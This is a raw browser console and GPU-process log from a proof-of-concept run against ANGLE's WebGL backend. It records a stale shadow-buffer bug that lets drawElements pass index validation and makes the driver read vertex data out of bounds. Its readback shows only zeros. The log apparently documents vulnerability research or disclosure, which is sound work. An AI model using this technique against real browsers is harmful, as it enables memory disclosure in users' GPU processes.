[4303:4303:0408/063904.103118:INFO:CONSOLE:14] "[POC] renderer: ANGLE (Mesa/X.org, llvmpipe (LLVM 15.0.6 256 bits), OpenGL 4.2)", source: http://127.0.0.1:18234/poc.html (14)
[POC][BufferGL::setData] shadow copy CREATED for buffer 9 (isWebGL=1 bufferAccessValidation=1 webglType=1 size=256)
[POC][BufferGL::getIndexRange] mShadowCopy present. shadow_end=0 gpu_end=1048575 count=64 offset=0  <<< STALE SHADOW: validation defeated >>>
[4303:4303:0408/063904.210071:INFO:CONSOLE:14] "[POC] calling drawElements with 64 indices; tiny VBO has 1 vertex; GPU-side indices = 0xfffff", source: http://127.0.0.1:18234/poc.html (14)
[4303:4303:0408/063904.277714:INFO:CONSOLE:14] "[POC] drawElements ACCEPTED by ANGLE (validated against stale zero shadow).", source: http://127.0.0.1:18234/poc.html (14)
[4303:4303:0408/063904.278001:INFO:CONSOLE:14] "[POC] Native driver was instructed to fetch vertex attribute at index 0xfffff from a 1-vertex VBO -> driver-level OOB.", source: http://127.0.0.1:18234/poc.html (14)
[4303:4303:0408/063904.289580:INFO:CONSOLE:14] "[POC] FBO readback: 0 / 256 non-zero uint32 components", source: http://127.0.0.1:18234/poc.html (14)
[4303:4303:0408/063904.290017:INFO:CONSOLE:14] "[POC] sample[0..7]: 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0", source: http://127.0.0.1:18234/poc.html (14)
[4303:4303:0408/063904.290228:INFO:CONSOLE:14] "[POC] See GPU-process stderr for [POC][BufferGL::getIndexRange] line showing shadow_end vs gpu_end divergence.", source: http://127.0.0.1:18234/poc.html (14)